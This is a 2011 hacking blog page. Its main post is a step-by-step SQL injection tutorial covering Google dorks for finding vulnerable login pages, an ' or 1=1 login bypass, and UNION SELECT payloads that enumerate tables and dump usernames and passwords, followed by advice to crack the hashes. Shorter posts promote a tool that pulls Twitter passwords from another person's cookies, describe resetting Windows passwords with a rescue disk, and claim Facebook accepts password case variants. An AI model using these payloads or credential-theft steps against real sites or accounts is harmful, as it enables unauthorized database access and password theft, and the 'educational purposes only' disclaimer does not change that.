Showing posts with label Password. Show all posts
Showing posts with label Password. Show all posts

Monday, October 31, 2011

SQL Injection


SQL Injection is a technique in which the hacker inserts SQL codes into a web Form to get Sensitive information like (User Name , Passwords). In fact, it is a technique to access the database of the website without authorization.

The SQL query looks like this in a database : 

SELECT * FROM users
WHERE Login Name = $_GET [‘Login Name’]
AND password = $_GET [‘password’]

After entering username and password , say admin and admin , then query becomes 

SELECT * FROM users
WHERE Login Name = admin
AND password = admin



HOW TO FIND A SITE VULNERABLE TO SQL INJECTION ?

Google is our friend. So, search using the following terms.

Inurl:admin login.asp
Inurl:login.asp
etc.. 

For complete list of Google Hacking keywords, go here. These are famously called as Google Dorks. All you need is a basic knowledge of advanced google searching.

1. Use a known username or admin.
2. Enter the string  ' or 1=1 – –    into the password box.
3. Submit.

.If you want to find SQLi vulnerability on a particular website, then also you can use google dorks.

To do this add a single quote(‘) at the end of the URL. If you get an error or blank page, the site is vulnerable to SQL injection.
 For example, if  the url is www.examplesite.com/view.php?id=47 then it should become www.examplesite.com/view.php?id=47' 

When you add single quote at the end of the URL, some data of the page is missing. Hence we can determine that it is vulnerable to SQl injection.

FINDING OUT THE NUMBER OF COLUMNS :

We can find this by simply adding “order by “ query at the end :
www.examplesite.com/view.php?id=47
 order by 1

It should return the page with no error.
Now add one more column to the above query. It looks like
www.examplesite.com/view.php?id=47 order by 2
We should increase the count until we get an error. When we get an error, it means that there are no more columns to return the results.

Let us say we got an error at the following query.
www.examplesite.com/view.php?id=47 order by 10
It means that the site has 9 columns.

 HOW TO FIND MOST VULNERABLE COLUMN :

www.examplesite.com/view.php?id=47 union select 1,2,3,4,5,6,7,8,9—

It should return the most vulnerable columns.

Some times it may not display the columns on your page. In such cases add ‘-‘ without quotes before 
your id number. This is to call a non existing page to display your data. i.e.,

www.examplesite.com/view.php?id=-47 union select 1,2,3,4,5,6,7,8,9—

WHAT ARE THE TABLES IN THE DATABASE ?

www.examplesite.com/view.php?id=-47 union select 1,table_name ,3,4,5,6,7,8,9 from information_schema.tables—

It gives us a list of tables.

Now search for the tables you are interested in. It means, a hacker generally looks for the tables that contain usernames and passwords.


So, Now we got the table. What next ? It is columns.

HOW TO FIND OUT THE COLUMN NAMES ?

www.
examplesite
.com/view.php?id=-47 union select 1,column_name ,3,4,5,6,7,8,9 from information_schema.columns where table_name=’yourtablename’—


Here, 'yourtablename' refers to the table which you selected recently.

it displays all the column names from the table



Let us extract the data now.

www.examplesite.com/view.php?id=-47 union select 1,column_name ,3,4,5,6,7,8,9 from yourtablename—

Here column_name refers to the desired columname say usernames.

Similarly, extract the passwords by changing column name.

Many websites encrypt the passwords unsing some encryption techniques like MD5 etc,. So decrypt them using decryptors.


Via : 101hacker

Note : FOR EDUCATIONAL PURPOSES ONLY. I AM NOT RESPONSIBLE FOR THE CONSEQUENCES.
If you enjoyed this post, make sure you subscribe to my RSS feed! Comments are encouraged

Sunday, October 2, 2011

HACK TWITTER WITH TWITTER PASSWORD DECRYPTOR

Firstly, let me clear you one thing. This tool takes out the passwords of twitter accounts stored in cookies in the computer. So In order to get those, you need a physical access to the PC.

Twitter Password Decryptor is a freeware that works to restore email and password when you forget your email and password. This software is available two versions, the portable version and the version of the installer.

Actually, this software working on computers cookies primarily to look for a twitter account is stored in it. Once found, the software is immediately displayed.

This software can work on multiple platforms, from Windows XP to the latest operating system Windows 7. Follow the steps as below:

1. Download Twitter Password Decryptor.

2. Once downloaded extract the zip file.

3. Install on your computer.

4. Open Twitter Password Decryptor.

5. Click the Start Recovery will be out your email and password.

6. Click the Show Password to see the password.





[via]If you enjoyed this post, make sure you subscribe to my RSS feed! Comments are encouraged

How To Reset Windows Passwords if you cannot login anymore

Dear readers, I've got many messages asking for a post on resetting windows login password. I've neglected this concept as googling gives you the answer. But, to satisfy your needs, here is a post. :)

If you forgot the password, you can use a password reset disk which is prepared by following the instructions that are given by Microsoft. In Windows XP, we used to have an Administrator account to bypass. Now coming to Windows 7,  there are many solutions. But this post is about using a third party tool. 

Firstly, you no need to re install the Operating System. Use the Trinity Rescue Kit .


You actually have the choice between setting it to a blank password or changing it to a new one.
It can be run from a bootable CD, USB device or network over PXE. The bootable CD is my choice and I always keep one around in case of emergency. Just boot from the CD if you cannot login into Windows anymore because it asks for a password that you cannot remember.
You can start once the message “Welcome to Trinity..” appears on the screen. Use the command    winpass -l to list all usernames of the system. Now enter winpass -u (for instance winpass -u Martin). This will lead to a series of dialogs, make sure to press n when asked if you want to deactivate Syskey.
You are given a choice to
(1) remove the password
(2) set a new password or 
(3) make the selected user an administrator of the system.

The file system is based on Linux which means that you will not see the usual c,d,e drives like you do in Windows. Hda, hdb, hdc are the hard drives connected to your computer and the numbers behind are the partitions of those hard drives. Hda1 for instance means the first partition of the first hard drive which is usually the location of the Windows installation while hdc2 would refer to the second partition of the third hard drive.



[via]If you enjoyed this post, make sure you subscribe to my RSS feed! Comments are encouraged

Wednesday, September 14, 2011

Facebook and Amazon are storing variant passwords

Yes. I mean it. The support for the title is as below.

Facebook is storing the users' passwords in 3 forms.I've tried this too. You can use any of these to login to your Facebook account. The forms are :

  1. Original password. (say "passWord123")
  2. First letter capitalized. ("PassWord123")
  3. Reverse of capitalization i.e changing the case for all the letters. ("PASSwORD123")
The second type is for Mobile devices. Third type is also used in order to facilitate the user taking the caps-lock key into consideration i.e even if your caps-lock is on, you can enter your Facebook account by entering your password normally. The question here is "Is this a bug?" My answer is "It doesn't matter" why beacuse, this is purely to facilitate the users. But coming to bruteforce attacks, this raises the vulnerability level to 3 times.

Now, coming to Amazon it uses similar concept but not completely like Facebook. 

This is the link for the article about this. I didn't try this yet. Please let me know through your valuable comments if anything is wrong.



If you enjoyed this post, make sure you subscribe to my RSS feed!